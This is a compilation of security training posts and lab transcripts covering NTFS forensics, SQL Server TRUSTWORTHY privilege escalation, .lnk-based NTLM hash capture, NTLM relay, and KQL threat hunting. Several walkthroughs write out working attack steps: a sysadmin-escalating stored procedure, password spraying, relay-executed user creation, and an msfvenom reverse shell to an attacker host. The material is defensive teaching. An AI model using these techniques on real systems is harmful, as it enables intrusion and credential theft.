I’m enabling the USN Journal; this ensures file activity will be logged going forward. The journal is successfully created, and from now on, file operations on this volume will generate USN entries. Here we have cqureAcademylogo.svg, let’s open it. This is just an image file. Nothing special — but it will represent our ‘evidence’. Let’s copy and paste it into our CQ_Demo drive. The file is present and fully visible on the volume.
Let’s remove it using the Remove-Item command. From the operating system perspective, the volume is clean again, but forensic analysis doesn’t stop at what the OS GUI shows. We extract both the Master File Table and the USN Journal using MFTECmd. The MFT contains metadata for every file on the volume — including deleted ones.
Scrolling down, we can see references to the file name and even the source URL stored in the Zone.Identifier alternate data stream. Now in the USN Journal output, at the bottom, we see a FileDelete operation for cqureAcademylogo.svg.
This gives us timeline evidence: the file was created and deleted. Now we enumerate deleted entries. Here we see the deleted file — and its alternate data stream, Zone.Identifier. That alternate stream stores metadata about downloaded files, such as their source.
The first number — 39 in this example — is the MFT record number, also called the inode. Using istat, we inspect the MFT record. Even though the file is deleted, its metadata remains in the MFT.
Now let’s recover the file. And the file is fully recovered and functional.
Deleting a file in NTFS simply marks its MFT record as free, but the data remains until it’s overwritten. Now I’ll create ten small text files and remove them. This overwrites all unallocated clusters with zeros, ones, and random data. Many believe this destroys deleted files completely. Despite wiping free space, the deleted files still appear in the MFT.
Here’s the key detail: this file is resident. Small files, typically under around 700 bytes, can be stored entirely inside the MFT record itself; they do not use separate disk clusters, and the MFT itself is allocated space.
The wipe operation only overwrites unallocated clusters, so resident data survives a free space wipe. The content is fully intact.
This demonstration highlights several critical forensic principles:
Deleting a file does not erase it.
NTFS keeps metadata in the Master File Table.
The USN Journal records change events.
Free space wiping does not affect allocated structures.
Resident files stored inside the MFT can survive wipe operations.
Author:Margarita Naumova | Microsoft MVP | MCM SQL Server | Data Engineer | MCT
The Starting Point: A Login With Nothing
Imagine a login just created on your SQL Server instance (especially the one with a weak password). No database access granted. No roles assigned. No permissions of any kind.
Here is what it can already do:
SELECT name, database_id, state_desc
FROM sys.databases
ORDER BY name;
--or even more columns included:
SELECT
name,
create_date,
state_desc,
recovery_model_desc,
is_trustworthy_on,
is_encrypted,
log_reuse_wait_desc
FROM sys.databases
ORDER BY name;
It gets back every database on the instance. HR_Payroll_2024. FinancialReporting. ClinicalRecords. SWIFT_Transactions. The complete map — before the attacker has touched a single row of data. And this is the default.
Why This Happens: VIEW ANY DATABASE
Every SQL Server instance ships with a server-level permission called VIEW ANY DATABASE granted to the public role. Since every login is automatically a member of public — with no way to remove them — this permission is silently inherited by every login on your instance, regardless of what else they have or don’t have.
You can verify it yourself:
SELECT
pr.name AS principal,
pe.permission_name,
pe.state_desc
FROM sys.server_permissions pe
JOIN sys.server_principals pr
ON pe.grantee_principal_id = pr.principal_id
WHERE pr.name = 'public'
AND pe.permission_name = 'VIEW ANY DATABASE';
One row comes back. VIEW ANY DATABASE. GRANT. public.
The permission doesn’t grant access into the databases — only the ability to see they exist. That distinction matters, but less than you might hope. Because database names alone reveal an enormous amount before an attacker has done anything else. And enumeration is always step one.
Two Paths Forward From Here
Once an attacker has the database map, they have two interesting directions to explore — and neither requires any additional privileges to attempt.
Path 1: The Guest Account
The guest account exists in every SQL Server database. In a properly hardened environment it has CONNECT revoked and is effectively dormant. But it only takes one database where a DBA enabled it for convenience — and that database becomes accessible to every login on the instance, including ones that were never explicitly granted anything.
-- Check if it is enabled in a specific database
SELECT
DB_NAME() AS database_name,
dp.name AS principal_name,
pe.permission_name,
pe.state_desc AS permission_state -- GRANT = enabled, DENY/absent = disabled
FROM sys.database_principals dp
JOIN sys.database_permissions pe
ON dp.principal_id = pe.grantee_principal_id
WHERE dp.name = 'guest'
AND pe.permission_name = 'CONNECT';
-- No row returned = guest is effectively disabled
-- Row with state_desc = 'GRANT' = guest is active
--OR run this to check all databases on the instance:
CREATE TABLE #GuestEnabled (database_name SYSNAME);
EXEC sp_MSforeachdb '
USE [?];
IF EXISTS (
SELECT 1
FROM sys.database_principals dp
JOIN sys.database_permissions pe
ON dp.principal_id = pe.grantee_principal_id
WHERE dp.name = ''guest''
AND pe.permission_name = ''CONNECT''
AND pe.state = ''G'' -- G = GRANT; W = GRANT WITH GRANT OPTION
)
INSERT INTO #GuestEnabled VALUES (''?'');
';
SELECT
database_name,
CASE
WHEN database_name IN ('master', 'tempdb', 'msdb')
THEN 'Required — do not revoke'
ELSE 'Review — guest should not be enabled here'
END AS recommendation
FROM #GuestEnabled
ORDER BY database_name;
DROP TABLE #GuestEnabled;
From there, whatever permissions have accumulated on the guest account or the public role inside that database are now available.
What I would do:
Any database returned here — other than master, tempdb, and msdb where guest is required — should have it revoked, I would do this, because users which require permissions to a database must be put in roles and added explicitly:
USE [database_name];
REVOKE CONNECT FROM guest;
Path 2: TRUSTWORTHY Escalation
The second path is more dangerous because the destination isn’t data — it’s the server itself.
Back to the database enumeration result, the attacker adds one filter is_trustworthy_on = 1 on his exploration journey. If a database returns with is_trustworthy_on = 1 and the owner is sa or any sysadmin account, the attacker has found a high-value target that requires no exploit whatsoever.
TRUSTWORTHY tells SQL Server to trust that code executing inside that database can act as the database owner. If the owner is sa, code inside that database can run as sa. To exploit this, the attacker needs db_owner in the database where TRUSTWORTHY is ON — which is exactly the role commonly granted to application accounts. With that, creating and executing one stored procedure is enough:
--
CREATE PROCEDURE dbo.EscalatePrivilege
WITH EXECUTE AS OWNER
AS
BEGIN
EXEC sp_addsrvrolemember 'attacker_login', 'sysadmin';
END;
GO
--and run and check yourself
EXEC dbo.EscalatePrivilege;
Result: 1.
The verification returns 1. The account that entered as a db_owner of one database is now sysadmin on the entire instance.
Path B uses a misconfigured database property to reach full server ownership — but it requires an account that already holds db_owner in that database. And that is less rare than it should be. How many of you have heard this request: “The application needs db_owner privileges.” Exactly. Me too. And it made me uncomfortable every time, because I can count on one hand the legitimate cases where it is actually needed.
The answer to that request should almost always be no. And remember — the attacker already knows exactly which database to target. That information was in the map they got for free at step one.
What to Fix and How
1. Revoke VIEW ANY DATABASE from public
REVOKE VIEW ANY DATABASE FROM public;
Then grant it only to accounts that legitimately need it — monitoring tools, DBA logins, backup agents:
GRANT VIEW ANY DATABASE TO [monitoring_login];
GRANT VIEW ANY DATABASE TO [dba_team];
Be aware that revoking it has some operational side effects, so it need some planning:
SSMS Object Explorer will show an empty Databases folder for low-privilege logins.
Some ORMs do a database existence check on connection and may throw errors.
Third-party monitoring and backup tools that enumerate all databases on connect will need explicit grants instead.
SQL Server’s own internal services and Agent do not require it. These impacts are all manageable — and manageable is a better position than handing every login a full instance map by default.
AND There is always an exception, and that is msdb. Agent jobs frequently need to do things that cross database boundaries — executing SSIS packages, running PowerShell, calling Database Mail, managing backups, running maintenance plans. Disabling TRUSTWORTHY for msdb would very likely break the job subsystem, so we don’t do it. Our option? For msdb — accept TRUSTWORTHY ON as a known platform requirement, but compensate:
1. Do not create user procedures in msdb — there is no legitimate reason for application or custom code to live there
2. Do not grant EXECUTE permissions in msdb to any user login — only SQL Server Agent service account and sysadmin should operate there
3. Audit existing msdb objects — check for any procedures that shouldn’t be there
4. Monitor msdb closely — any DDL activity (new procedures, permission changes) in msdb outside of a maintenance window is a red flag
5. Restrict who can connect to msdb at all — most application logins have no business connecting to it.
Need security checks or assessment and advice? Contact us!
We’re diving into a classic but devastatingly effective exploit path. Many organizations leave their SQL Servers vulnerable through a combination of three simple misconfigurations: a database set to “trustworthy,” an owner with sysadmin rights (like SA), and a low-privilege user with db_owner permissions.
By abusing these settings, an attacker can create a stored procedure that executes in the context of the database owner. We’re showing you exactly how to identify these “trustworthy” databases using netexec and impacket, and then demonstrate how to inject a login into the sysadmin role.
Secure Your Spot: Hacking and Securing SQL Server Live Virtual Class
This five-day workshop offers an in-depth, hands-on experience with SQL Server 2022 and 2025. We will explore every layer of security – from core principles to implementing advanced protection like encryption, role-based access control, and auditing. We will examine system and network security implications, cover the latest features, and discuss how to integrate SQL Server with Azure solutions like Azure Defender and Sentinel.
The masterclass will be led by Margarita Naumova, a SQL Server Architect, consultant, speaker, and trainer with over 25 years of experience in data platform technologies. She is a Microsoft Certified Master (MCM), Microsoft Certified Trainer (MCT), and has been a Microsoft MVP for 15 consecutive years.
As the Founder of SQL Master Academy and CEO of Inspirit Data Platform Consulting, Magi operates in Bulgaria and Norway. She specializes in SQL Server and Microsoft Fabric Data Platform, helping professionals and organizations design modern, high-performing data solutions.
[00:07] We are going to walk through a classic Microsoft SQL Server privilege escalation. We start with a low-privilege application account and end up with sysadmin rights by abusing a trustworthy database.
[00:20] First, we check whether a SQL Server is actually listening on the default port. We run “nmap -p1433”, which is the port, against the target IP. So the output shows that port1433 is open and it identifies the Microsoft SQL Server service. Let’s change the directory to where our word list resides. So we’re going to go to the desktop. Next, we look for valid credentials.
[00:47] We use “netexec” to spray common usernames and passwords against the Microsoft SQL service. So well, as you can see, it quickly finds a hit. The account developer with the password “qwert6”. With working credentials, we now check which databases have “trustworthy” set to “on”. This setting is the most important condition for the attack we are about to perform. We run a simple query through netexec: “SELECT name, is_trustworthy_on FROM sys.databases”. And there we go and see that the databases named “msdb” and “cqlab” have “trustworthy” enabled. Let’s check whether our user has “db_owner” permissions on any of the databases that has “trustworthy” enabled.
[01:44] We run the query, and as you can see, “msdb” returns “0” for “trustworthy”, meaning that it’s not enabled. Let’s run the query again, and “cqlab” returns “1”. Therefore, it means that “trustworthy” is enabled.
[02:03] Now we move to an interactive session. We launch “impacket-mssqlclient” with the developer credentials. Once connected, we switch to the “cqlab” database and check our current privileges. System user is “developer” and “sysadmin” membership is “0”. That means we are a low-privileged user. This is where escalation happens. We create a stored procedure that runs with “execute” as owner because the database is “trustworthy” and owned by SA, and because we have db_owner, the procedure executes in the context of SA. Inside the procedure, we add our login developer to the sysadmin server role.
[03:09] Let’s run another query, and we execute the procedure. We check again. System user is still “developer”, but sysadmin membership is now “1”. All right. In just a few seconds, we went from an ordinary application developer to a full sysadmin on the server. This path works because of three misconfigurations present at the same time: 1) “trustworthy” is turned on for the database, 2) the database owner is SA or another sysadmin account, 3) and our login has db_owner inside that database.
The scenario is straightforward: a regular domain user has WRITE permissions on a shared folder. That’s enough to plant a malicious .lnk file pointing to an attacker-controlled SMB server. The moment another user browses that share in File Explorer, the system attempts authentication automatically – and the NETNTLMv2 response is captured.
From there, the path splits.
If the password is weak, the hash can be cracked offline. If SMB signing is not enforced, NTLM Relay becomes possible.
In our lab, we relay authentication to another server, authenticate as the victim user without knowing the password, dump LSA and SAM, and execute commands remotely. The chain ends with a shell running as NT AUTHORITY – all triggered by simply opening a file share.
This technique still works in many environments because of small decisions that seem harmless in isolation: broad WRITE permissions on shares, NTLM still enabled, inconsistent SMB signing enforcement, and the assumption that “low-privileged” users are low risk.
Security failures rarely come from one dramatic vulnerability. They happen when small misconfigurations line up at the wrong moment.
If a standard user can write to a share and NTLM is still allowed, your environment may already be exposed to this attack path.
In this CQURE Hacks episode, we walk through the entire chain step by step: from share discovery, through hash capture and cracking, to NTLM relay and remote execution to show how quickly control can be gained.
Understanding these mechanics is essential, because defending infrastructure requires knowing exactly how it can be taken over.
Ready to Level Up Your Defensive Game?
Modern identity attacks go far beyond “simple” password guessing. To truly protect your infrastructure, you need to understand the techniques that actually break environments today – and how to close those paths for good.
Hi, everyone. In today’s CQURE Hacks, we will show you attacks using a shortcut file to capture Net-NTLMv2 hash, and crack it to initiate NTLM Relay Attack. Let’s move on to our lab environment. Starting from the beginning, let’s first use “crackmapexec” with the option “shares” to find a share with the right permissions. For this, we use the credentials of “bob”, who is a regular domain user. As we can see on the SRV01 host, there is a share named “documents” on which “bob” has the right permissions. Let’s now switch to Windows on which we are logged in as “bob”. Let’s go to this Network Share, discovered previously.
[01:04] As we can see, there are some documents here. Let’s try to create a file here to make sure we actually have these permissions. The file has been created, but deleted now. Now, let’s move on to PowerShell ISE. Using PowerShell, we can create a shortcut file with extension .lnk that will refer to our SMV server that will be running on our Kali Linux using responder or impacket NTLM-relay. This is the IP address of our Kali over here, so it’s very important to remember. This file will be created in the secure folder under the name “malicious.lnk, and let’s run this script.
[01:58] Now, let’s go to the C: > CQURE folder and check if the file has been created. As you can see, the “malicious” file has been created. Let’s now copy and paste it into the “documents” share. Now, we go back to Kali Linux and enable the responder to listen for incoming connections with a command like this: “responder -I eth0”. Now, let’s go back to Windows, on user “bob”, and open share “documents” again. At this point, nothing will happen because in the file explorer, this “malicious” file we uploaded here is not visible. As you can see in the respond there, nothing is happening. Only when we go to the bottom, like now, and see it in the file explorer, It calls back to the IP address that we specified when creating this file. The user “bob”, on whom we are logged in, invoked our server, and we intercepted his hash net-NTLMv2.
[03:16] Let’s try to rename this file so that the user who enters this share doesn’t have to go to the very bottom, but the file is displayed at the very top. Let’s add the “@” sign at the beginning of the file name. After reentering, we see that the file is already at the very top.
[03:41] Let’s try to do the same thing, but from a different host and the Administrator user. Open the File Explorer again and go to Documents Share on the SRV01 Host. Only open and do not do anything else. Now, let’s check on Kali Linux if the hash was captured. And the hash has been intercepted. As you can see, we can do a lot of things with that. So question is, what actually we can do with it? Well, we can, for example, crack it if the password is, in practice, not difficult. So let’s copy this hash, disable the responder, and save it in the file “hash.txt”. Let’s use John the Ripper to crack it.
[04:40] The hash has been cracked easily, and here we see the administrator’s password. Well, okay. Let’s now move on to the NTLM Relay Attack again, using the same .lnk file we created earlier. Let’s generate a list of the servers using “crackmapexec”, and save it to a file “targets.txt”. Let’s use the “cat” command to see if it was generated correctly. Now, let’s turn on the script “impacket-ntlmrelayx” with that list we created earlier, and the options “smb2support” and “socks”.
[05:28] Let’s simulate the Administrator opening this share again. Let’s go back to the Kali machine. We see that the Administrator has connected to our server. Let’s use the “socks” command to see which host it managed to relay to. We see that it’s the host with this IP address (10.10.10.30).
[06:04] What can we do next? First, we need to see and set the proxy chains to port 1080, as you can see here. We open a new console, but do not close this one, and edit the /etc/proxychains4.conf file, so the config file, and go to the very bottom and add this line, and save the file. Here, it has already been added earlier. Now, using proxy chains, we can, for example, use “crackmapexec” as administrator on the host 10.10.10.30, to which we managed to relay. The password can be anything because we are already authenticated with net-NTLMv2 using a Relay Attack.
[07:01] As you can see, we have successfully authenticated for an experiment. Let’s change the password, and you can see that the effect is exactly the same. What can now, for example, happen is by using “crackmapexec”, we can dump the LSA, we can do the same with “sam” database – for example, we can also use “impacket-smbexec” to execute a reverse shell and connect to this host as anti-authority.
[07:38] We’ve been connected. So, let’s use the commands “whoami”, hostname, and so on. We can also do “whoami /all” so you can see the effective result of our action. As you can see, this .lnk file allows us to initiate attacks with NTLM Relay, and you only need the right permission on any of the shares to set up the trap for other users. Then it’s enough that any user accesses the share, and we have their net-NTLMv2 response ready for cracking. If SMB signing is disabled somewhere, we can even use NTLM Relay Attacks.
In active-duty security, time is your most valuable asset. Most hunters struggle because they try to write a brand-new query for every single alert. This creates a messy library of code that is hard to manage.
Kajetan, one of our frontline experts, shows you how to use one “Base Query” as a launchpad for three critical scenarios:
1. Web Reconnaissance: We filter our base query for HTTP traffic. By adding a simple scoring system, we can instantly flag attackers probing your web apps for vulnerabilities.
2. UDP Broadcast Analysis: By switching the protocol in our base logic, we spot unusual broadcast spikes. This catches attackers trying to spoof identities or move through your network.
3. Abnormal TCP Patterns: We adjust the same base query to look at session length and data volume. This reveals the tiny signals left behind by data theft or malware “calling home.”
Smart hunting isn’t about how many queries you have; it’s about how adaptable they are. By building once and adapting many times, you gain:
Speed: Pivot between different threats in seconds.
Consistency: Use the same data structure for every hunt.
Clear Results: Move from raw data to a clear story of what happened.
Level up your KQL skills and become the proactive defender your organization needs. Consider this your “hacking license” for data.
Today, I’m going to show you something really powerful, how to take one base KQL query and transform it into three completely different threat hunts.
This is about working smarter, not harder, and getting maximum value from your security data.
We will be analyzing real network traffic to detect web reconnaissance, unusual broadcast, and abnormal TCP patterns. Let’s dive in.
This is our foundation, a simple but powerful query that gives us an overview of all network traffic.
Let’s have a look what it does.
We are looking at a specific hour and a half window aggregating by source IP, destination IP port and protocol.
Keymetrics, total bytes, send received, packet counts, connections, and duration.
This gives us a baseline, so understanding of what normal looks like in our environment.
But the real power comes when we specialize this query for the specific threat hunting scenarios.
Now, watch how we transfer our base query into first-hand, so detecting web reconnaissance.
Attackers often scan web application before attacking them.
Here’s what we have changed.
First, filter to HTTP traffic, so only TCP on port 80 or service HTTP HTTP.
Added recon-specific metrics, so counting unique targets and ports.
Time-based scoping, looking at activity in 30-minute windows. Added thresholds, more than five HTTP request from a single source.
And the last, scoring system, so calculates recon likelihood.
What this really detects? For example, automated scanner, scrolling, web applications, attackers probing for vulnerable web apps, TVWA, PHP admin, and so on, and reconnaissance before credential traffic or simply brute force attacks. Legitimate users typically access a few resources, but recon tools hit many paths and hit many paths quickly.
This query catches this pattern. Next hound takes a completely different angle. Udp Brokos analysis. Normal networks have predictable Brokos patterns. Here’s our transformation.
Switch to the UDP protocol. Different thread surface. Added categorization. So Netbios, MD-Ns, DHCP, LLMNR. Different metrics, broadcast count, package size, and duration. Also longer time window.
One hour periods for broadcast analysis and lower thresholds. Just two broadcasts which can be suspicious. What it detects?
Network discovery scans using Netbios. M DNS and LLMNR spoofing attacks, DHCP-exhaustioned attacks, warm propagation using broadcast, unusual service discovery patterns.
Brokast traffic should follow predictable patterns. Sudden spikes or unusual sources indicates scanning or attack activity. Finally, hand number three.
This one looks like TCP session behaviors. This is about connection quality and patterns.
Here we have risk scoring system, so weights, different suspicious behavior, behavior analysis, so connection, duration, data volume and states, and service anomalies, HTTP with tiny responses, unknown service with data.
Also, the pattern detection, so port scanning, rapid connections, short-lived sessions. What this detects? Port scanning, so many short-fade connections.
Data exfiltration, so large transfer in short time. Also C2 beconning, so regular short connections, service enumeration, and fast flux networks. Legitimate connections have predictable duration and data patterns.
Malicious activity often shows us statistical outliers. To summarize, start with the base. Understand your data structure. Filter for the thread. So this for the web, UDP for the broadcast. Add thread-specific logic, recon scoring, broadcast categorizing, or risk scoring.
Add use time window. Set appropriate thresholds, so based on what’s suspicious for each protocol. And add a contextual output, so clear with investigation nodes. This approach gives you consistency, so same base structure. Efficiency, build once, adapt many times. And maintable, easy to update thresholds.
Also, the scability. And that’s how you create three powerful trade hands from one base KQL query. Remember, effective threat hunting isn’t about writing thousands of queries. It’s about writing smart, adaptable queries and give you multiple perspectives on your data.
Try this approach with your own security data. Start with a simple base query, then specialize it for different threat scenarios. You will be amazed at what you can discover. If you found this useful and helpful, please like and subscribe for more KQL and threat hunting content. Thanks for watching.
In active-duty threat hunting, time is the only currency that matters. Most IT professionals struggle with queries bogged down by excessive calculations or filtering applied far too late in the pipeline, creating a bottleneck that can obscure critical indicators of compromise.
Kajetan, one of our frontline practitioners, walks through five practical techniques that immediately improve the hunting experience in real environments:
1. Filter First, Calculate Later: This is the golden rule. Reducing your dataset early can make your queries 5–20x faster.
2. Meaningful Context: Move beyond raw logs to create results that tell a story, making them actually usable for your technical reports.
3. Battle-Tested Logic: We use real network log data to compare inefficient “textbook” queries with the optimized versions our experts use on client cases.
Good KQL isn’t just about syntax; it’s about a proactive mindset. It’s the difference between being buried in logs and having a surgical view of your infrastructure. These small changes in your query logic will level up your skills and make you irreplaceable in the hunt.
In this episode, we start by verifying vulnerable configurations on SRV01 (10.10.10.20) and Windows 11 (10.10.10.40). Server and client SMB signing enforcement is false. Nmap confirms “enabled but not required,” and NetExec scans the network to list relay targets (/tmp/relay.txt).
The attack is triggered from Windows 11 via a File Explorer typo (\\Serer). Responder captures the request, and the relay succeeds to multiple hosts. Connecting with netcat to localhost:11000 yields an SMB shell on SRV01. Using C$, we create a directory (mkdir ATTACK) and upload /tmp/info.txt, confirmed on the target.
Escalation: A targeted relay (-t 10.10.10.20) executes net user Attacker Password123 /add, verified via net user.
Final payload: A msfvenom reverse shell (r.exe) is relayed using –exe /tmp/r.exe -smb2support. Triggering the relay yields a netcat shell on SRV01, confirming access with whoami and ipconfig.
Key takeaway: “Enabled but not required” means the system is vulnerable to NTLM relay. Enforce SMB signing everywhere to block this passwordless attack path.
Video transcript:
0:00 Okay. Let’s perform a Relay attack when signing isn’t enforced. This way, we can redirect our credentials to another host and gain access. Alright, let’s begin. We have a host here, let’s check the hostname.
0:22 SRV01. Let me run ipconfig.
0:26 It has an IP Address 10.10.10.20. Now let’s check its settings. The first settings we want to see are the server settings – if this host acts as a server, when others connect to it and when it shares resources. In the server configuration it’s “false”, meaning it doesn’t enforce signing – it’s not enabled.
0:52 Now, let’s see how it looks when it acts as a client, so when it connects to someone else.
0:57 So as “SmbClientConfiguration” it has the same settings, and we see that as a client it can use signing, but there’s no enforcement. Alright, let’s check another host now – hostname Windows11, ipconfig shows 10.10.10.40, and again let’s see how it looks. If it acts as a host, sharing resources when someone connects to it, do we need a signature when connecting? No, it’s not required. There’s no support enabled, and likewise.
1:36 Let’s also check what happens if we act as a client from Windows 11, wanting to connect somewhere. And at this point we can connect with SMB Signing, but we don’t have to. Now let’s check how this looks from Kali Linux. First, we’ll scan the address 10.10.10.20, which is this host SRV01.
2:00 And here we see “Message signing enabled but not required”. And likewise if we scan the address 10.10.10.40.
2:08 It’s also “enabled, but not required”. This is strange, because when we looked at the settings, for the server configuration, the “enabled” setting was “false”.
2:20 And the same for Windows 11, the server is marked as “false”. However, with nmap there can be a slight difference, because it checks
2:33 what protocol version it is and if the version supports it. So, it says it’s supported but not required. That’s the difference – nmap may interpret it slightly differently. Okay, now let’s go to Kali Linux.
2:48 And here we can search for servers that don’t support SMB Signing. Of course we can use nmap, but we also have other tools, like NetExec. So we can run the command “sudo apt” and install NetExec with “sudo apt install netexec”. And we see it’s already installed. Now using NetExec we can tell it to scan the entire local network and see if there are any hosts that don’t enforce signing. And what do we see? Server DC01 enforces it.
3:24 But SRV01, Windows 10, and Windows 11 don’t enforce it. Additionally, we saved this to file “/tmp/relay.txt”, so we can check that “/tmp/relay.txt” and see those three hosts: 10.10.10.20, 10.10.10.30, and 10.10.10.40. These are the hosts that don’t enforce signing.
3:50 Now, if we can intercept the NTLM authentication, we can Relay to one of these hosts. These hosts that don’t enforce signing – they don’t check the signature. And now, to perform a Relay, we need to get access to the data. We can use various techniques. One of them is (if NetBIOS is being used) sending a message that we are the host. Especially when someone makes a typo in the name. So what do we need? We need Responder – Responder will respond “hey, that’s me, I’m the host”. First thing is Responder, we need to configure it properly.
So we configure: “/etc/responder/Responder.conf”. And here we see NetBIOS and LLMNR are enabled, etc.
Now if someone uses a NetBIOS name – for example /server/something and happens to make a typo, we’ll say: “hey, that’s me”.
But by default, Responder listens on various protocols, also listens on SMB and others. And now we want to use a Relay tool.
Responder itself doesn’t do Relay, so we need to make sure we’re not using Responder’s SMB, meaning we need to set it to “Off” and also set HTTP to “Off”.
We disable it so it doesn’t set up a fake server on those ports. Why? Because we need those ports for another tool, we’ll simply use a different tool specifically for Relay.
We save these settings and we have Responder, and now we can create two windows. In the top window we have Responder – we can launch it in “verbose” mode on interface eth0. So, we have Responder running and now when someone asks “where is this host?” via NetBIOS, it will send a signal “that’s me”.
5:50 This means other hosts will want to connect to Kali, so we now need to handle this connection and redirect to others. For this purpose, we use “impacket-ntlmrelayx”.
So, we’ll use another tool, “impacket-ntlmrelayx”, and with this tool we’ll do the redirecting. Impacket will listen on the SMB port and when someone connects to us, thinking they’re connecting to the proper host, we’ll intercept that connection and relay it to the hosts on the list “/tmp/relay.txt”. Interactive mode (-i) means we can connect to this session.
6:30 OK, we start NTLM Relay and now let’s say we go to Windows 11. On Windows 11 we open File Explorer and try to access a computer. For example: “Server 01”
But let’s assume we made a mistake in the name and instead of “Server” we typed “Serer” and it doesn’t exist. That name doesn’t exist. But let’s go back and see what happens. The moment we used the backslash, that was enough for Windows to start searching, and now Windows started scanning our local network.
7:08 We’re asking “is there a computer with this name?”, and we can now see that we intercepted the connection and tried to authenticate to host 10.10.10.20, 10.10.10.30, and 10.10.10.40 and it succeeded.
And now that we’ve authenticated here on Kali, as the attacker, you can see that I don’t know the password at all – the only thing I did was place Responder and Relay.
7:36 At this point, we intercepted someone else’s credentials and forwarded them to the vulnerable machine that doesn’t check signatures. The machine should check SMB and verify whether the person connecting is legitimate. Because at this point, as Kali, we intercepted this data and were connecting there with the data I intercepted from that Windows client. Okay, and now what do we have?
8:08 On port “11000” on LocalHost there’s an “SMB client shell” set up, so there’s a shell I can use for that SMB service that connects to 10.10.10.20.
8:19 So now I’ll open a new window and using Netcat I’ll connect to “127.0.0.1 11000” and here I have the SMB client shell that established a session with the vulnerable host 10.10.10.20. Now I can give the “info” command to get information about who I’m relayed to.
8:47 At this point this connection on port 11000 goes to server SRV01, and I can see some information – for example information like “shares” (what shares are visible there?).
I see: ADMIN$”, „C$”, „CertEnroll”, „IPC$”, and so on. “C$” is a partition, so I can use this share.
9:05 And at this point, once I’ve used this share, let’s say I want to use it by typing “use C$”, I can do “ls” to display what’s there.
I see there are many, many different files, so practically I already have access to the file system on this server. Without a password, without anything. Now it would be good to see if I have any permissions there – because I can probably read, but let’s see if I can do even more, like create something malicious. Let’s see by typing “mkdir ATTACK” if I can create a directory.
9:47 We type “ls” again – and it worked! We have the “ATTACK” directory. Okay, since we managed to create the “ATTACK” directory, maybe we’ll write something in it. I’ll split the window and type “echo “Attack successful” and let’s create a file /tmp/info.txt. Alright, we have the file, so now we can upload this file to the server, so we go to the “ATTACK” directory.
10:14 And we run the command: “put /tmp/info.txt”. At this point we can do “ls” and see that the info.txt file appeared in this directory. And now if we go to Server 01.
10:34 And enter the file system, we’ll see that on drive C: the “ATTACK” directory appeared and it has the info.txt file with “Attack successful” written inside.
10:49 We can see that the attack succeeded and we were able to Relay to the server and create something on that server.
Once we’re on the server, we can type the “net user” command to see what users we have. We have 4 users: administrator, default account, guest, and WDAGUtilityAccount.
11:11 Now we can return to our attack on cqure@kali, to our main window. Here we can stop this attack and we’ll modify it a bit, because now instead of loading hosts from a file, we will have a regular target that I’ll provide manually.
I already know that 10.10.10.20 is vulnerable, so I’ll tell it: “attack this host 10.10.10.20”. This time I don’t need the interactive client shell.
11:40 Instead, I’ll give a command, for example, to create a user “Attacker”.
11:45 We see that there’s no “Attacker” user there now, but I’m telling it: “instead of creating an interactive shell, execute the command ‘Net user Attacker Password123 /add'”.
12:01 And at this point, when I run such a command, let’s say I’m on that Windows client again and I make some typo or create a shortcut pointing to a non-existent name, and someone enters that share, and clicks this shortcut.
12:19 And what do we have? We see that some command was executed – there was successful authentication on 10.10.10.20.
What’s more, the command was executed, so the command was completed successfully.
A command was successfully executed, so let’s go to SRV01 again and check the same command “net user” once more. We see that now we have the added user “Attacker”, so we succeeded.
12:45 At this point, if we have a Relay attack, we can also execute various commands. We can pass commands to execute. We can also try to go further, so let’s stop this attack again. We can open another window, and now let’s create a reverse shell.
13:04 In “ifconfig” let’s check my IP – it shows 10.10.10.106. I’ll create on my IP a file “/tmp/r.exe”, using “msfvenom” with payload “windows/x64/shell_reverse_tcp” and I’ll listen on LHOST 10.10.10.106 on Kali port 4444.
13:32 I’m creating a malicious file called r.exe using msfvenom. And at this point the file is created – saved in “/tmp/r.exe”. So, what do I do on my side now?
Since this file is a reverse shell that should connect to Kali on port 4444, I need to listen on that port. I start “nc -lnvp 4444” and I get the message “listening on (any) 4444”
14:03 This NetCat will be listening here, but now I need to deliver this malicious payload to the target. At this point, I go to the first window and modify.
14:11 This time we won’t use a command, but I’ll give the parameter “smb2support -e” and point to “/tmp/r.exe”
14:22 Because I want the r.exe file to be uploaded to the machine, I’ll Relay it to and execute it there on that machine.
I launch this, and if I catch some traffic, someone trying to connect to me, I do the Relay, and together with that Relay, I’ll transfer r.exe there and execute the file.
14:45 So we try again. We go to our Windows 11. We try to access a non-existent server. Here we look – there’s already a relay and we see the information “uploading file”. Let’s go to the other console, and in this console, where NetCat was listening, we already have a connection from that host, and now we can check the hostname.
15:11 We see it’s SRV01, and ipconfig shows 10.10.10.20, so we have access to this shell.15:19 This way, if SMB Signing isn’t enforced, we were able to Relay the connection. As you can see, we don’t need any passwords – we simply look for machines that don’t enforce SMB Signing and then we have several attack possibilities.
Author:Paula Januszkiewicz, CEO of CQURE & CQURE Academy, Cybersecurity Expert, MVP & RD, MCT
Intro
Cybersecurity used to have a relatively shared vocabulary. Firewalls. Antivirus. Patching. Perimeter defense. These concepts once formed a common language understood not only by security teams, but also by IT, leadership, and even non-technical stakeholders. Security discussions were simpler, threat models were narrower, and defensive responsibilities were more clearly defined.
Today, that language no longer exists in a simple or unified form.
Modern cybersecurity has evolved into a highly fragmented, deeply specialized, and fast-moving discipline that spans cloud architectures, identity-centric security, AI-driven threats, supply-chain exposure, regulatory pressure, and advanced incident response. The result is paradoxical: even cybersecurity specialists struggle to stay fully up to date.
This is not a failure of individuals. It is a structural shift in the industry.
And it has profound consequences for how organizations must think about talent, training, and resilience.
Before We Talk About Cybersecurity, Answer This
Before diving into market dynamics or strategic direction, take a moment to stop and ask yourself – honestly:
1. Do you feel that today your own, or your team’s, cybersecurity skills are truly up to date?
2. When you look at current cybersecurity challenges and long-term security strategy, do you genuinely feel that you “have this under control”?
From my perspective, more and more often across our enterprise and SMB clients, I hear significant hesitation. There used to be more confidence when this language was simpler, even though confidence does not always equal readiness, and familiarity does not guarantee fluency. The industry has changed faster than most organizations realize – not only in terms of threats and technologies, but in the very language used to describe, detect, and defend against them.
The Language of Cybersecurity Has Changed – And Most Organizations Can’t Speak It
Cybersecurity isn’t what it used to be. Today, even experienced cybersecurity professionals struggle to stay current with the breadth and pace of change. It almost feels that if you do not keep yourself intensively up to date, you are not only downgrading yourself from the skills perspective but also it’s hard to think about ideas, while we are not familiarized with new terms. How can we grow then, if we
get stuck in language? This is not a matter of perception – the data ((ISC)² Cybersecurity Workforce Study 2025) clearly shows an industry at a turning point, where cybersecurity talent is scarce and increasingly difficult to develop without deliberate internal investment.
